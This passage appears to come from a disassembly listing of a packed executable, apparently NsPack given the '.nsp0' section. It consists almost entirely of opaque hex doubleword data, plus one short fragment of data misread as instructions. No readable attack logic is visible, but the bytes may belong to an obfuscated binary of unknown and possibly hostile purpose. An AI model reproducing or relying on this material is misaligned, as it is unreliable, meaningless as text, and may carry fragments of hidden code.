		dd 0AB45CFA4h, 53877500h, 0B314B61Ah, 0A2612165h, 28738DCBh
		dd 21E3F38Ah, 2C53B0A6h, 0DE00AA25h, 26B0979Ch,	3636E6CBh
		dd 50B611AEh, 0F5D26110h, 46F7DB10h, 2D0259Bh, 90BF0ABBh
		dd 232EACFFh, 458810F8h, 7F40EBC7h, 0B7B7A2Eh, 0F7457902h
		dd 0B83A49B9h, 0C7E222EEh, 78C13A71h, 0EAD16F35h, 0E4882AABh
		dd 6406FAB3h, 260CE2BCh, 984D6A90h, 4B350C1Ch, 893F0C94h
		dd 75269E41h, 19260A3Fh, 0CAE79092h, 6C1633C3h,	0B48B42D9h
		dd 660C32AFh, 3F528FF4h, 93C46A73h, 4D40C73h, 7B7BB4C2h
		dd 5FD27DADh, 0C3DCAB5Fh, 3DB49164h, 0A374C54Fh, 0BA9074EFh
		dd 4FE6221h, 0C724A512h, 0A97C2D81h, 0E48CBB38h, 0F953661h
		dd 0DC5D5804h, 9CC9DB1Ch, 0CC61ACC7h, 92560EB0h, 0E1D9211Fh
		dd 0F93F9260h, 0FB880955h, 0BE2779F8h, 96C3FFF7h, 64B16FA1h
		dd 4B6B1125h, 238F8A22h, 0F5E55136h, 1F22A7DCh,	8FB8E0h
		dd 0E4BE5FAFh, 6C1CFC3Eh, 0C6909336h, 0B3840CD2h, 0E5EA364Fh
		dd 34971B6Dh, 39B19D31h, 9238D5DAh, 9E16C234h, 865C8ABCh
		dd 0A03FB262h, 9A34D840h, 2C3AE25Ch, 0B31AA1A5h, 0D6517B48h
		dd 5B57570h, 2D066B2Bh,	0C99AA1FAh, 8A7A4588h, 4EBB3462h
		dd 910FDC31h, 2D7643A7h, 4101DDFBh, 96264A5Eh, 74C6C6CFh
		dd 0B73D4277h, 94D9E917h, 4DBCCC9h, 0C950CA1h, 0B3E94BD8h
		dd 41DB42Eh, 0F3D01694h, 0A99EF779h, 0A980E434h, 772AB8D7h
		dd 1D268930h, 54F8F3A4h, 0D2073434h, 0A2C4AB26h, 40278E4Dh
		dd 6045AEB0h, 29A1B172h, 0A93A841Fh, 308E8834h,	198D6982h
		dd 69D00F8Ch
; ---------------------------------------------------------------------------


loc_490054:				; DATA XREF: .nsp0:0041ABE1o
					; .nsp0:0041B411o
		pop	ecx
		cmp	al, 47h
		mov	bh, 0E3h
		retf	37Eh
; ---------------------------------------------------------------------------
		dd 0A6D967BEh, 0F78216BEh, 0C89FC602h, 4F8AC368h, 0BB991B59h
		dd 0F7C7730Fh, 0C98D131Dh, 154AA122h, 0F8625A8Ah, 7A5E1C78h
		dd 3FE0790h, 7C241C40h,	2060B8C4h, 87D04829h, 7431413Eh
		dd 3C0F26E6h, 8569ED46h, 0BE7C1FD9h, 0CEB1A1Eh,	0CA15E2C0h
		dd 0F82FFE38h, 9DC2B13h, 27582647h, 0EA67FA16h,	42A69AD0h
		dd 8D942E76h, 1B205F81h, 0F92A706Bh, 56E539C9h,	6CD4DA99h
		dd 0AA0F86h, 2474C293h,	5C691321h, 856EE663h, 964EFE27h
		dd 0EE954AEFh, 7DC0BA98h, 0E324B85Eh, 0DC5EFFC1h, 78EB3DD9h
		dd 5CA4DFA8h, 0B4D3E39h, 0A8606D0Ch, 0CDC4B2CEh, 1AF4DBD7h
		dd 0EB65E93Ch, 0ECC12D13h, 2F4D543Ch, 0E7CC24C7h, 0ED2176F9h
		dd 7CA05FD5h, 285D6759h, 326D57EEh, 4CD5D467h, 48D4F195h
		dd 0F00DCFDh, 0C3D266DCh, 963C3CFCh, 46AC4AD7h,	1DFE1288h
		dd 0D3A11A9Ah, 0CA1CACA8h, 37BB96A6h, 0D486D5E3h, 7B1DC4A4h
		dd 0A452DB6Fh, 596D6BCBh, 77C7A78Dh, 7236A365h,	0BF7BBC40h
		dd 8D932BDh, 0DAC36D8Bh, 97733CD9h, 5FB562B5h, 3AD7E71Ah
		dd 34FB76E6h, 0EFFA12F7h, 72C84D1Bh, 44BB28E8h,	0A58DED2Fh
		dd 0C7928BD0h, 4193DB90h, 0D2C50020h, 44745A6Ah, 755EA471h
		dd 0C48BD216h, 70D064C6h, 755E51E1h, 1C72961Ah,	6174D4FCh
		dd 5F2FA84Bh, 0DF501895h, 6F2E881Ah, 9E884ED1h,	90A02884h
		dd 5C61F70Ch, 54879F92h, 0E03AC5EDh, 1F6A0169h,	0DD6DE7D3h
		dd 2A29BBB9h, 77A1859Ch, 6DF07BBBh, 9F4FFF22h, 466F3E60h
		dd 0D1A61356h, 0F83C8362h, 8A9744ADh, 60AAECD5h, 0D3376CE0h
		dd 0C1F20871h, 0E7D0B6D2h, 0B410E70Ch, 132BCF82h, 0E1C945EFh
		dd 0A2DD9D11h, 12F76ABEh, 5AF14078h, 3379239h, 49C77306h
		dd 0DD3C0BBAh, 728821F5h, 1FCF1D60h, 4F7E8692h,	4106CD03h
		dd 0CB4C8CC1h, 0D1FBCE36h, 4754EACFh, 0B33C1242h, 0B50852DFh
		dd 0DE2A88DCh, 0D93EB46Dh, 1E0A1689h, 6B18EC29h, 94F289D7h
		dd 412C2D92h, 23168C54h, 2C9BA0D3h, 279754BCh, 1C96BB78h
		dd 7130874Dh, 6B51030h,	491DE55Dh, 186E1355h, 6499EC10h
		dd 49A612EEh, 2B0A6340h, 0D13DC959h, 9536E8C9h,	0ED87A4F8h
		dd 6B2D716Ch, 5BD2A14Ch, 13C08E88h, 9D6F458h, 4EF46E7Bh
		dd 0E06A8C77h, 58D8ACA1h, 94B7B780h, 0B7B768BFh, 9110975Bh
		dd 0AEBF6EADh, 9FEEDAB9h, 37441663h, 0F9CFABB8h, 0F1BC5BD9h
		dd 0C1EFE479h, 0E78ABBECh, 513D5C11h, 3B540F2Eh, 543D3F9h
		dd 35A90574h, 6B4DF9EDh, 0A5E0F453h, 9D49697Ah,	2195C026h
		dd 0EE177A42h, 0DF8F8166h, 702F241Ch, 3CEF7D61h, 6DB2A905h
		dd 0B0C9BDE4h, 800D185Ah, 7FBC0817h, 0C8994D1Eh, 0A5351604h
		dd 0C18348B1h, 0F29168Fh, 0C7B92E81h, 0C280357Fh, 0F97D2477h
		dd 0F57D3FF4h, 3CAE5A47h, 0D224E1E0h, 95D22CFCh, 403B54A4h
		dd 0E1C1EF1Bh, 0F11C94A5h, 1366092Dh, 0B74FA125h, 86A782F3h
		dd 15813150h, 0DAA447E2h, 74CE3CA8h, 495FC881h,	0ABD4A9F0h
		dd 5ED6C053h, 0E88C691Dh, 9D0A66EAh, 0F9623C9Dh, 84F61A5Ch
		dd 0B5F6C151h, 0E24454A0h, 37E4A424h, 1B0F06ACh, 0DBD5EDDEh
		dd 3064FF87h, 1C1395EDh, 90985F96h, 5B603121h, 0F5CB802Fh
		dd 0D0B0F344h, 0FF6835FDh, 63AD2D41h, 50EB2379h, 0FF259171h
		dd 28084D2Ah, 0EECD580Bh, 0E0379D18h, 0BBA62DF2h, 2544E0B8h
		dd 91ECEADCh, 4D75EA6Bh, 0CF968A7Eh, 0AB2B2F5Eh, 8DC5A0C4h
		dd 0B67A646Ah, 0A962E638h, 1601090Bh, 0D9ACF8E8h, 3D4E837Ah
		dd 78E4820Ah, 62EEB8Dh,	45CE24E6h, 2C9279EEh, 0C3B4195Ah
		dd 633E2FD2h, 35B2F15Eh, 0BBDEA339h, 34A55A7Dh,	0BF636737h
		dd 6F2D05B9h, 53A95CB9h, 1A666F32h, 3387970Bh, 0C77FD5FCh
		dd 0AF07031Ah, 4AEB007Ah, 44CD4FAEh, 0D664651h,	83E174F4h
		dd 0C0F4EE58h, 0C295CCABh, 21F10DD7h, 5DA863DFh, 0A98EE96Bh
		dd 620C5854h, 0F481229Eh, 3FC48BF9h, 17AA6F26h,	0E1D38B66h
		dd 9DCB3EAh, 0D7ED51FEh, 391C2F4Ah, 61E3EDFFh, 0F001F352h
		dd 0DE332D8Bh, 0E9B7E727h, 0CF41CF9Ah, 40F90C8Eh, 83216278h
		dd 0EF568B1Ch, 9166FB14h, 42D8A77Dh, 96F71497h,	0A3AD37EAh
		dd 18AAE944h, 6226098Bh, 0EB1AE3E4h, 7837B1B4h,	1D61C9A8h
		dd 1BE22EB2h, 0B9988E14h, 454AD368h, 0B7092D4Ch, 82CF9602h
		dd 56314A0Bh, 79A3F59Dh, 74721644h, 3B9BB3Ah, 5FB0134Ah
		dd 0E47B1637h, 0E0A65468h, 6EFEDEB5h, 0A035586h, 157C1A21h
		dd 0DE833342h, 938FB833h, 4F5E2B61h, 0B0A92680h, 9A41FB78h
		dd 8642DA08h, 8D33C2Ch,	0B9CF6876h, 0B9D0D147h,	0AA6F08A0h
		dd 0DF931529h, 9F16680Dh, 13E09D0Eh, 0C45AC3BBh, 1522FEEAh
		dd 5306358Ch, 7B7C02D5h, 1B401984h, 7A8EA3C6h, 80F479BFh
		dd 3C41C49Fh, 0E3A4D7D5h, 0FCFB977Ch, 51BB656Fh, 0DA714AAEh
		dd 3B1EE187h, 3AE3B4F9h, 6DF4A62Ch, 5264A8A3h, 2EC6AC9Ch
		dd 1B8B6A11h, 109370D1h, 58825DCFh, 971A451Fh, 1FCF21F8h
		dd 0E5584BC1h, 0CA28C346h, 3092D69Eh, 0CB910B5Dh, 0CCB0F2DBh
		dd 0C986C44Bh, 0F586B11Fh, 0BBDD95h, 21F1B49Eh,	7A07BDEh
		dd 346A5BA2h, 0FD09E61h, 0E7485FC3h, 0FA072501h, 2B2425C8h
		dd 1727FA16h, 9537748Eh, 22F0E624h, 1B8AE4Fh, 967FE26h
		dd 0E0444980h, 48DE1355h, 0D63E2D2Bh, 26F3956Fh, 0B05ECFA0h
		dd 0A531BD9Fh, 0F72F4948h, 0C87B534Dh, 1449C059h, 476696EFh
		dd 0A0F4AC8Ch, 79AC23D4h, 1904B84h, 83550189h, 59A25E44h
		dd 0C08CA2B0h, 739D2A4Bh, 0CD74DADFh, 98CEF2A8h, 44B87BA3h
		dd 2D345677h, 0C7DD2A22h, 92EC2283h, 0B07946DBh, 9C2DC2BBh
		dd 5997655Bh, 58C3082Ah, 0C2C7EEC4h, 0EF9F8DB7h, 6A049CEFh
		dd 947C72BAh, 0FFF9A2F6h, 9EB30D0Ah, 4C6C9CD2h,	0D61CB3DAh
		dd 9EBE38FAh, 3225EE6Bh, 9A118F14h, 0C4D6EA7Dh,	488032AEh
		dd 0F5262388h, 0A2E1789h, 6CAD121Bh, 0EC0DF649h, 0D00E5C09h
		dd 0B9E57Eh, 0E76F4F31h, 0F8DF0448h, 3E67A01Ah,	0FBD460C9h
		dd 0E33D39D3h, 6F315D29h, 0B916BBBFh, 0ABC8D314h, 0CFAB7EC4h
		dd 8EA850EFh, 0D991CF82h, 70CC2807h, 0FDD356E9h, 9238EC7h
		dd 0F39BA30Dh, 52C34682h, 94C3C65Ch, 9DB5C035h,	8C0D98CEh
		dd 7ADAAB7Dh, 0E06812CCh, 0DBCEBF77h, 27B9439Dh, 83C3FCE5h
		dd 591C9755h, 7077204Fh, 3936B781h, 524FD84Fh, 15677A0Eh
		dd 5798B416h, 0D80B175Fh, 43BE9FEBh, 0B1FACE3Ah, 0F95E5B14h
		dd 0E034420Dh, 90FB26Bh, 1EF7BD4Eh, 21C6398h, 897F1DB5h
		dd 0C6834BC9h, 53793FE4h, 0EAD0B05Bh, 2AD0240Fh, 1F499F93h
		dd 7E41B8C1h, 0F3695312h, 25A9FF44h, 0C0BCE8E5h, 8199DDCDh
		dd 0E48E3CABh, 39E5DD14h, 0FC8667B7h, 0E7FA4041h, 720362A1h
		dd 5E3DED66h, 1CAC6E42h, 0EEAE62B2h, 0D2B591A7h, 810CD67Fh
		dd 8EB7A01Eh, 4DFBF59Bh, 0E08F3820h, 0B97866A9h, 0FB0E2ACDh
		dd 9D767C94h, 0D4F97378h, 1608E518h, 0A4BCFDF5h, 76C63BFEh
		dd 0AA7BC20Dh, 5DA32121h, 4262325Bh, 0B1E207F4h, 164F6E92h
		dd 647726ADh, 0E1C51AE3h, 4AE2A40Eh, 0A79B86Fh,	5053D764h
		dd 0FAF7FE3Dh, 0DD80BB69h, 0BE341EFFh, 0E0C90B71h, 0F503CBCh
		dd 23DB55B2h, 2B3BEC8Fh, 99B3E322h, 0EAE4E8BDh,	7DA210AFh
		dd 7EE6B390h, 9E9267D8h, 776B42E4h, 2872F4DDh, 10921229h
		dd 0F9EFFCE8h, 0D6E590E4h, 0DBD26943h, 604779D5h, 9F171FFFh
		dd 97151EF0h, 3BCDD9FDh, 0B57737Bh, 0E646BDE2h,	5D5D5B03h
		dd 0EC4C008Dh, 7C33A85Dh
		dd 0AED2EDFh, 0A11035B8h, 72B448D2h, 8D81F1EBh,	69243182h
		dd 7CFDFD4h, 0CD463494h, 9EF0AB92h, 13DC3A4Ah, 0D00B4A12h
		dd 6E1AF688h, 0C0997A21h, 10B47F23h, 0CD14456Eh, 0E196D165h
		dd 66C88AF2h, 905D868Ah, 0B2E888CAh, 0CD5A7254h, 7435CFD2h
		dd 0FABC42B3h, 0A314CCC4h, 99CBF9FDh, 146E52h, 0C130E688h
		dd 0DA297C27h, 0E8CFEB0Bh, 4CB0CB9Ch, 0E05B1CD0h, 4F83C289h
		dd 0FFC749C0h, 4DE4CBC6h, 83CD5C6Bh, 1B0C6803h,	9314300Fh
		dd 8640254h, 4A806869h,	375A6FEEh, 272F9E68h, 67BA2465h
		dd 4CBB806Dh, 0A8A7845Fh, 109CBC73h, 0D531A9AAh, 7B3F8AE5h
		dd 0E5D97AA7h, 6CFD7551h, 0BF822EE2h, 0E2B6D7F3h, 3E4BB67Ah
		dd 0C0616206h, 6FABFD48h, 0B29DBA2Eh, 62CBE420h, 35F82BEAh
		dd 80E3C157h, 3D2442F9h, 8ED1689Bh, 0A053D244h,	13EBAFD0h
		dd 1F26D958h, 22940625h, 0F0517962h, 26ED556Ch,	7D2926EBh
		dd 0D8B05CC1h, 0EF608112h, 0B1D6E71Ah, 0ED2C1283h, 0A0EEBF5Dh
		dd 4627442Dh, 1DA84453h, 58E4CB0Dh, 27BFACCh, 57FB711Fh
		dd 0A6924E58h, 97297F74h, 0F552E4Ah, 0B0ED057Dh, 0F2293262h
		dd 0A959893Ch, 0A8FF1CDFh, 3F865F2Ah, 2EB11DCFh, 39305055h
		dd 26A8240Fh, 2EC44A10h, 0A54E64D4h, 0A43010F8h, 0BB16A6A5h
		dd 13EA86CEh, 3FDD9DA0h, 0ACCBE3A8h, 47C4F681h,	1F6F350Fh
		dd 27E37D6Eh, 0B2204B1h, 0A3F9A881h, 3A3DC4D9h,	48B0CBFDh
		dd 27A40B1Ah, 0C74C641Ah, 85684DAh, 0BD651640h,	9A9FBDC9h
		dd 0DD49E470h, 4B8BCA83h, 52DD934Ah, 328DBDB6h,	0D8C9A71Bh
		dd 0EFFD17F1h, 5870FD87h, 5B8527EDh, 0E8856145h, 0B5078DC5h
		dd 0CC6587E9h, 6A964FF0h, 79B1D3E3h, 0FBEA0686h, 2181AD6Dh
		dd 618C405Ah, 0E5146A5Ch, 490DCCD4h, 0A9DCE547h, 0C19DD5EAh
		dd 3A9DCA4Dh, 70555F82h, 0C7C6952h, 0DE84661Eh,	0AD747D32h
		dd 33ADC224h, 0A4559419h, 2C79603h, 872A2E70h, 84110662h
		dd 0BFEB279h, 3D2F17E2h, 760A47CBh, 99121F37h, 543723D7h
		dd 4AE60B8Ch, 0DA0270A3h, 0CE2BC358h, 0A788017Ch, 3B347296h
		dd 3B9673E8h, 0C01ADEAh, 0F41A2487h, 11965356h,	7D94314Bh
		dd 321ED5D2h, 4A65B2C1h, 471976C6h, 45F535F9h, 7F80166h
		dd 381EED7Ch, 3377C952h, 49032499h, 2D825980h, 0DD5E5E45h
		dd 0EAC47C67h, 1507C9E6h, 5050D8CAh, 0A4FC342Eh, 0EB63B3Dh
		dd 0DF64A88Dh, 6A1E5C24h, 0C1953E7Fh, 0D5CAB5A3h, 0A43766E7h
		dd 5002D896h, 693420AAh, 2EB98F11h, 1C7816A4h, 379BF6A7h
		dd 7C7AC75Ch, 5BA983C4h, 696F31C2h, 0C95B93BAh,	1F591F44h
		dd 99104CBh, 4BA700Ch, 0C18B1592h, 0F4FF4E3Fh, 0C956219Fh
		dd 0FD2692ECh, 9F9DD3A5h, 3B6484h, 1B5C7BCFh, 95DBCF60h
		dd 0FAA7F68Eh, 32C7B149h, 38C05CFh, 94D3C81Dh, 0A40E6CF4h
		dd 35902275h, 0E4361AF5h, 619C96BEh, 0E1769188h, 3B312D8Ch
		dd 3A266F60h, 0BD1D4555h, 0AB662976h, 1E7E38CAh, 7F93954Dh
		dd 0C4D84D78h, 0F78F542Bh, 0BC934A5h, 0B4A7E648h, 60DEDE08h
		dd 52E79859h, 26DDF7A7h, 34FBC82Fh, 4ED0B363h, 95B03135h
		dd 0E8C69B23h, 5BD731Fh, 0A09C0352h, 0BFCC3FE1h, 0A4FA4C77h
		dd 9BDA172Eh, 88050130h, 0E8C50D6Eh, 0EE1B6A5Eh, 63C5CCFh
		dd 7718B7D6h, 0FAD50B57h, 0AEA2CD2Eh, 8CF6D314h, 0A09E86E3h
		dd 0AB2115E9h, 627EFD12h, 0CBA437D0h, 0A7F4E2E8h, 656909E8h
		dd 16BC04BEh, 0C9858F49h, 0C443535Bh, 0C55F8DE5h, 979B8ADFh
		dd 952B0FE6h, 0EE465190h, 46993087h, 971ADC5Ah,	0F273EAAFh
		dd 0BE81722Bh, 6C8D9F52h, 0E3DE09C1h, 0D3EFCFE3h, 0BF11127Ch
		dd 86FEE27Dh, 77D66976h, 519CE39Ah, 89E4FA85h, 4E9DB3D9h
		dd 0D6D598D7h, 0D75131A0h, 4662B3C1h, 55BC126Dh, 29DE859Bh
		dd 4A31E89Ah, 29CAAEEFh, 5545BCF5h, 0BB469177h,	7458F3CBh
		dd 837C0103h, 0D9BF2321h, 0DAFE6DF4h, 83A6F61Fh, 0B508AB4Bh
		dd 5FBDD86Ch, 0C4A02D09h, 0D725EC59h, 972E9FE8h, 9BA3B0C2h
		dd 0BDFBC8EBh, 8A3A5525h, 0A00306DCh, 237E997Ah, 40AE920Dh
		dd 79FB93DFh, 0D03A4296h, 8312FEB9h, 0E1955C28h, 0DE258E10h
		dd 0B29ABA1Eh, 70FA1CE0h, 8E9ECB80h, 0F054F426h, 12C22B01h
		dd 9D4D2355h, 2A55BC1Ch, 83BA20C5h, 56EAA36Bh, 1BD3C300h
		dd 0D9371511h, 4CB822DBh, 0A6C10574h, 3B10C253h, 939EBD6h
		dd 8770BA81h, 4645DD89h, 5D95BCFh, 67E87F73h, 0FA41CED5h
		dd 67B035EEh, 68479544h, 50164C58h, 8603F981h, 45ED0F7Dh
		dd 668F880h, 322DC205h,	2D6045C3h, 47143017h, 0A3EB7ED5h
		dd 857EA957h, 2EB661DDh, 51FD60D8h, 0B71222B7h,	0A6F4EC72h
		dd 4F2FA8B9h, 0C4DC4921h, 0F8D7696Eh, 83698C69h, 6BBF0792h
		dd 619DFCh, 33C1A1FBh, 0FB0A7FC6h, 0EE0E804Fh, 2C281872h
		dd 2A0E1A27h, 0A3F11B27h, 0DD9551D8h, 0D9F4C6Bh, 0E81E6CABh
		dd 33083DB1h, 5791C67Dh, 0B2F7955Eh, 1996EA6h, 937EFEFEh
		dd 0AE8A9B56h, 387D7747h, 0CB6E4F52h, 2AC539B6h, 2FF088F2h
		dd 0FB8CA1E1h, 92364FAAh, 0F0D02CEEh, 4CBDC8A8h, 72B69095h
		dd 3B8446Fh, 0A732665Ah, 5945D14Bh, 78903A29h, 43313A12h
		dd 360AD450h, 986B4800h, 0F4598FFDh, 0E250C613h, 0EE57E9DAh
		dd 34C4180Ch, 0FC512DBDh, 0AE80E502h, 1092341Bh, 0B750EC04h
		dd 0E81E0FF1h, 128AA7F3h, 0BC0D1F33h, 39D3D6BFh, 85C01D78h
		dd 1B1A6EE9h, 9F56EE6Fh, 0E86380A7h, 3529E6B8h,	0AF59D5Bh
		dd 56CDF03Bh, 0FF247DCFh, 0C704EAEFh, 0F67A19F2h, 16F4598Ah
		dd 0BF48FF80h, 5287E0EEh, 0ACE4394Dh, 4C0E82AAh, 6556785Eh
		dd 0EB57FF3h, 0C319AEA4h, 0EC3F21E3h, 3FA52B12h, 0C4BDC8EDh
		dd 0B8060378h, 360562CAh, 16BB91F7h, 0A3E49CD8h, 0AAFC535Dh
		dd 30981491h, 0E9638CF2h, 9F5535F2h, 814C4966h,	613DEEB9h
		dd 40953499h, 799356C9h, 68BF3036h, 2C01092Dh, 8BDAD2BAh
		dd 0C23D12F1h, 1CAFDFA1h, 2770A5C6h, 3F5279A3h,	2314B443h
		dd 6804EB4Ah, 52F72F9Ch, 0FA865A87h, 0BF51CA06h, 0FDEED3A9h
		dd 736318B0h, 322846C9h, 0A07560C0h, 0C7166C6Fh, 0DCA3CA45h
		dd 0A126218Ch, 3C7F936Eh, 0DC360233h, 8E7866E9h, 0F7964E8Dh
		dd 71CBED75h, 0CAE33F87h, 0D83E633Fh, 5A8F9228h, 0F68649D8h
		dd 4C89D381h, 2B59AE60h, 0C809FDECh, 7C42AFAh, 8AA2BA70h
		dd 70B08BF3h, 0E57736B8h, 9B90AF2Fh, 0BBF4DE0h,	0D10E0400h
		dd 8FA33AA8h, 6C8249A0h, 7E5C14ADh, 3ABDE3EBh, 0B6F0FC14h
		dd 2109CAFFh, 2B3224D2h, 666EEFAh, 84CA7D91h, 919DEDECh
		dd 79CDF878h, 0C5181E0h, 0FFC409B4h, 201F37B9h,	119EF006h
		dd 5CBE8F36h, 0E0F5E16Fh, 56789C56h, 4A6ABA83h,	9814B86h
		dd 0A7900581h, 0B2543CFAh, 6E734C55h, 64229B42h, 0EEC067D6h
		dd 0F56CBDA1h, 0C2D230h, 6A6F4A2Eh, 0CED20148h,	27BB1559h
		dd 48A4BDBBh, 0B2210373h, 9AE54A61h, 0C2A1F118h, 0D1CB405Eh
		dd 0AE5748ABh, 484FA0Ah, 7EBF7FE8h, 860464EAh, 64710538h
		dd 18CE8BE1h, 4ACF954Fh, 0EB7DE045h, 4DC50921h,	0E2498095h
		dd 0A527141Ah, 18F3FC64h, 87D07AAEh, 4ED5AE86h,	6D1C8A7Ch
		dd 611793A8h, 5D50C547h, 0BFB6FC94h, 145BF030h,	60D2C3E7h
		dd 0EA22EC83h, 929ABBD7h, 66502194h, 0D8B9378Eh, 952490E5h
		dd 377D2962h, 734F7635h, 0E144EBB3h, 639C2041h,	9677BAF3h
		dd 0DD30F9B0h, 611FFA3h, 18137D10h, 0A723015h, 2EA8A02Fh
		dd 86D17DB3h, 0B875B51Dh
		dd 0E5736684h, 0BED1948Eh, 50AFE6ACh, 0A28282C8h, 0C1676BACh
		dd 9B480214h, 0DA1FB098h, 236C64A3h, 0BB35324Ch, 53495CA0h
		dd 36696C65h, 36FAD1D4h, 0A0823214h, 0C9310329h, 0DBD4640Bh
		dd 0B0C20B77h, 0A99FE77Fh, 35958A8Bh, 0C8D874B5h, 9ED4C2Bh
		dd 0FC000644h, 36755B11h, 93BB3F39h, 26AEA354h,	7A1E01CEh
		dd 0D6542CC3h, 0E5BA4223h, 0DC52C668h, 95C2EFB7h, 7FAD9863h
		dd 98C3EE1Ah, 9B475F7Ah, 43C470C6h, 76D3A6E4h, 4DECB7ACh
		dd 0DF3E0D32h, 0BFF4F3D4h, 0CCDC202Bh, 58A1D953h, 0A30F3465h
		dd 8969DFA6h, 0A04F6A64h, 2CA0AC7h, 43974E87h, 0EE610883h
		dd 0A07F92C0h, 22EDB1F0h, 0FC1B9C5Bh, 51AE56FAh, 528F8E61h
		dd 0D36D6612h, 7F5CE78Ch, 7F6F7277h, 0BEB19174h, 36AE6B8Ah
		dd 228BD974h, 3ECB4E41h, 5053607Bh, 0BAF937Bh, 0F8AE4D86h
		dd 7428108Dh, 6D1A350h,	0B51D6FDh, 0C4876ADh, 0DCA2B9AEh
		dd 0D66BA330h, 0CF8B096Eh, 4B111F9Bh, 5B246877h, 5FF2A30Fh
		dd 0F857876Ch, 3C46DE8Fh, 0AE1461E2h, 0BDA22394h, 7677FD94h
		dd 6EF422Dh, 320E6467h,	4ADB9054h, 6EC71BBDh, 0D15C26B1h
		dd 94D00DF1h, 0C62FC54Eh, 0E9DBD59Fh, 3DC17197h, 7D003145h
		dd 9D3F2AB3h, 715A1AA3h, 51096D57h, 0BFBAD754h,	6CC59DECh
		dd 983B40C1h, 666B463Ch, 935C12D7h, 16B0D807h, 92E8A903h
		dd 31115336h, 624833C5h, 49C6D4FCh, 227F9D2Dh, 0F2068D6Ah
		dd 1769D5D7h, 4EC3EBE1h, 1537E6AAh, 0B8B73CC5h,	1D08452Ch
		dd 3B2415CFh, 92452EFBh, 7AD69C44h, 0D54FFEA8h,	0BEFCEA99h
		dd 0E998FE4Ah, 0CBC6F6D4h, 69FE08A9h, 0C99DCFFFh, 8F310834h
		dd 0EAAB9715h, 53F8095Bh, 0A36DFA82h, 0ADFC920Eh, 997BE627h
		dd 41CC537Ch, 46862972h, 68C6C22Ch, 62BC2B4h, 0CE2A8885h
		dd 578E5FAh, 1F67E2A0h,	192F55EDh, 5605F152h, 72387A10h
		dd 0E417863Dh, 40371C17h, 5988E4F3h, 0E0C15D18h, 0E382B50Ch
		dd 0C9B8A033h, 9816BBDDh, 47A2A863h, 5CA4CC72h,	372E6217h
		dd 15A454DAh, 6EF773C3h, 0A90B9484h, 44CC2C5Bh,	61DD36D5h
		dd 8F1FC674h, 7C6BBEBBh, 0AE239962h, 0F4CA49Fh,	74F59B09h
		dd 0A278A205h, 3D8D4919h, 6088AB3Ah, 0B0C16D13h, 7C66ED41h
		dd 69EF5170h, 61CCC1D8h, 0B3AC5A20h, 0A18FA20Ah, 7D5EF29Ch
		dd 5FBDEDE5h, 0E21D6D6Dh, 48811422h, 0D73A6C06h, 28EBB171h
		dd 3C43E653h, 576C9608h, 5E438284h, 0E29C1097h,	0F789D980h
		dd 0B49C0580h, 0C8F52EA3h, 590F812Eh, 2FEDEB6Ah, 0E8CD6A03h
		dd 0A7A6B1C4h, 0FE573A4Ch, 469102CDh, 0BC79CEC0h, 0CCAAC46Ch
		dd 53EE128Bh, 2067ED6Ah, 4A631507h, 0D2FD07Dh, 0D65C2285h
		dd 0F6D6C96Ah, 54AB310Dh, 64DD0A49h, 0F488AB82h, 0A845B70Bh
		dd 78A03CAEh, 25A2AB62h, 0DC72B47Fh, 90039F1Dh,	7B351D9Eh
		dd 4B5360B2h, 23797B02h, 0E50C766Bh, 38D62BCAh,	0ABE46944h
		dd 6AB427E7h, 0BBED7DAFh, 701A8488h, 0E61B699Fh, 47DEE3B5h
		dd 4A573890h, 2069B082h, 7252C36Fh, 3926D491h, 5519D9ECh
		dd 73994E3Eh, 9D5FD78Ah, 4965EF9Bh, 41EDCC4Ah, 0B31BD396h
		dd 167DD77Bh, 0D85ADC0Dh, 457B1295h, 5706641h, 40A92C9Bh
		dd 883BF23Dh, 0AEF10104h, 3574B8B4h, 790A231Ch,	7C38F012h
		dd 0E54DAC94h, 6873FA44h, 0B94D947Ch, 0D71C0FC5h, 7637C52Ah
		dd 3417F301h, 0D242398Bh, 0FC2903B9h, 429E3BBCh, 0CA6432B1h
		dd 692D25AAh, 0F15CCAF7h, 8E4F6706h, 34E0EA82h,	0F07DA150h
		dd 80D9BD43h, 0B2E9FC65h, 0D4B537DEh, 0FEA76671h, 78F65Ch
		dd 0A86E82F0h, 0AD09B3A5h, 16C765F8h, 63A5EC54h, 692DCCF3h
		dd 94A395F0h, 0C519DD6Ah, 0A6AB9309h, 811EB313h, 0C86B6AB0h
		dd 1E2BE35Eh, 4A971300h, 97D6DDBFh, 8A11FB18h, 0D4B7BBEBh
		dd 52A6A0B4h, 3DCAF805h, 1A3BEE28h, 6B4A2050h, 0C90043AAh
		dd 5C7913BAh, 0C2AB1A3h, 0BB3F2798h, 84A89ABDh,	0FA33EAA8h
		dd 327DB08Ch, 0FF76D2C7h, 1FCFA752h, 0C53141B6h, 41CD9D65h
		dd 746ECC96h, 0FCD6AFFh, 2716691Bh, 9ADF149Ch, 4ACA02BCh
		dd 69062BEDh, 0BDD27FAAh, 547488D9h, 95123F36h,	491F32C5h
		dd 2F38500Bh, 0D9BCBD52h, 0C79FFF4Bh, 0D0E1C0F8h, 402B20E5h
		dd 62D311B3h, 0E85ADB11h, 5A5CC747h, 5AFE4A67h,	0DE3DCF6Ah
		dd 0A7D601Ch, 0AB1A8630h, 0AA0BF31Ah, 48275B74h, 74FCCE28h
		dd 2A0DD63Ch, 1BC1790Fh, 40C4E5C2h, 0EFA10CBEh,	0F0D2A330h
		dd 0ABC91327h, 6C207481h, 808A6E23h, 0D37B640Fh, 0FF63921h
		dd 0CA698A6Eh, 78A30467h, 75C998AFh, 0EB353CF8h, 0F00B1332h
		dd 0E4AB5B8Dh, 0C6A36C76h, 0E8D74281h, 0F8CB3D47h, 5AC6FD76h
		dd 1CD09B0Eh, 0E986FD00h, 8848DE32h, 8F576718h,	0D664B9B9h
		dd 715E8231h, 0FFE356B2h, 0DBE2506Bh, 412E247Ah, 0D01F442Bh
		dd 15B5C265h, 0C7B5D003h, 0C15A3011h, 16C8F95Ah, 0E391105Bh
		dd 65FAA444h, 3F54A15Fh, 0E58D64E7h, 8DCF3BF6h,	4D00A1FDh
		dd 0B716DF90h, 0C08D9B62h, 160B6247h, 0B10A992Ah, 8A538C9Eh
		dd 2F5C42B3h, 58447CEFh, 7161B6Fh, 0CC49785Fh, 62080101h
		dd 7E4FC443h, 0B0BF7CD0h, 0F735E6FFh, 0F1BC79CAh, 8CB26B96h
		dd 9238C1A7h, 0F0CCE2ACh, 7073DC29h, 0B81A3EE4h, 0B448150Eh
		dd 0C384F8B3h, 61BC1AB6h, 9E365D84h, 0DABEED5Ah, 87EDE9D8h
